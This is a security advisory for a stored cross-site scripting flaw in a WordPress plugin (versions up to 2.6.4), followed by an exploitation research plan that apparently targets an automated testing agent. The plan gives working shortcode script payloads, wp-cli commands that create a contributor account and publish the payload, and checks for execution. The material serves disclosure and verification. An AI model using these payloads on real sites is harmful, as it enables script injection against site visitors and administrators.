Gallagher Website Design <= 2.6.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'prefix' Shortcode Attribute
Description
The Gallagher Website Design plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's login_link shortcode in all versions up to, and including, 2.6.4 due to insufficient input sanitization and output escaping on the 'prefix' attribute. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.6.4What Changed in the Fix
Changes introduced in v2.6.5
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-1913 (Gallagher Website Design XSS) ## 1. Vulnerability Summary The **Gallagher Website Design** plugin (<= 2.6.4) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the `prefix` attribute in the `[login_link]` shortcode. The plugin fails to sanitize o…
Show full research plan
Exploitation Research Plan: CVE-2026-1913 (Gallagher Website Design XSS)
1. Vulnerability Summary
The Gallagher Website Design plugin (<= 2.6.4) is vulnerable to Stored Cross-Site Scripting (XSS) via the prefix attribute in the [login_link] shortcode. The plugin fails to sanitize or escape the prefix value before returning it for rendering. Authenticated users with Contributor-level access (or higher) can embed malicious scripts into posts or pages using this shortcode, which will execute in the browser of any user (including administrators) who views the content.
2. Attack Vector Analysis
- Shortcode:
[login_link] - Vulnerable Attribute:
prefix - Authentication Level: Contributor+ (The user must have the
edit_postscapability to create or modify content containing shortcodes). - Endpoint: Any public-facing Page or Post where shortcodes are processed (typically via
the_contentfilter). - Preconditions: The plugin must be active.
3. Code Flow
- Shortcode Registration: The plugin registers the shortcode (likely in
gallagher-website-design.phpor an included file) usingadd_shortcode('login_link', 'CALLBACK_FUNCTION'). - Attribute Processing: Inside the callback function, user-supplied attributes are parsed using
shortcode_atts(). - Data Handling (The Sink): The value of the
prefixattribute is extracted from the$attsarray and concatenated directly into an HTML string (e.g., prepended to an<a>tag) without using escaping functions likeesc_html()oresc_attr(). - Output: The resulting unsanitized string is returned by the shortcode function. WordPress then renders this string as part of the page content, leading to script execution.
4. Nonce Acquisition Strategy
The exploitation of this vulnerability occurs during the rendering of a shortcode within post content.
- Shortcode Rendering: No nonce is required to trigger the XSS. The vulnerability is triggered simply by viewing the page where the shortcode exists.
- Payload Injection: Creating/Updating a post normally requires a WordPress nonce (
_wpnonce). However, since the research agent haswp-cliaccess, the most reliable way to inject the payload into the database is viawp post createorwp post update, bypassing the need for HTTP-based nonce extraction for the injection phase.
5. Exploitation Strategy
Step 1: Payload Selection
The payload will target the prefix attribute. We will use a standard <script> tag to demonstrate execution.
Payload: [login_link prefix='<script>alert(window.origin)</script>']
Step 2: Injection (Stored Phase)
Using the wp-cli tool, we will create a published post as a contributor user containing the malicious shortcode.
Step 3: Verification (Execution Phase)
The execution agent will use the http_request tool (Playwright) to navigate to the newly created post URL. We will check if the script is present in the raw HTML response and if it executes in the browser context.
6. Test Data Setup
- Plugin Installation: Ensure
gallagher-website-designversion 2.6.4 is installed and active. - User Creation:
wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Post Creation (The Injection):
Note: Usingwp post create --post_type=post --post_status=publish --post_title="Login Page" --post_author=$(wp user get attacker --field=ID) --post_content='[login_link prefix="<script>console.log(\"XSS_TRIGGERED\")</script>"]'console.logis often more reliable for automated verification thanalert.
7. Expected Results
- When requesting the post URL via
http_request, the response body should contain the unescaped string:<script>console.log("XSS_TRIGGERED")</script>. - In a browser environment, the browser console should show
XSS_TRIGGERED.
8. Verification Steps
- Confirm Post Content via CLI:
wp post get <POST_ID> --field=post_content - Trigger and Capture Output via HTTP:
Use thehttp_requesttool to fetch the URL of the created post.{ "method": "GET", "url": "http://localhost:8080/?p=<POST_ID>" } - Search for Sink Injection:
Verify that the string<script>console.log("XSS_TRIGGERED")</script>appears in the response body.
9. Alternative Approaches
If the prefix attribute is not vulnerable or if login_link requires specific parameters:
- Check for
suffix: Check if asuffixattribute exists and is also unescaped:[login_link suffix='<script>...</script>']. - Bypass
shortcode_atts: If the plugin accesses$_GETor$_POSTdirectly within the shortcode callback (unlikely but possible), test parameters like?prefix=<script>. - Check other shortcodes: The
readme.txtmentionspassword forgot link,Woocommerce cart total, andWoocommerce my account page. Iflogin_linkis patched or behaves differently, audit the attribute handling in these related shortcodes.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.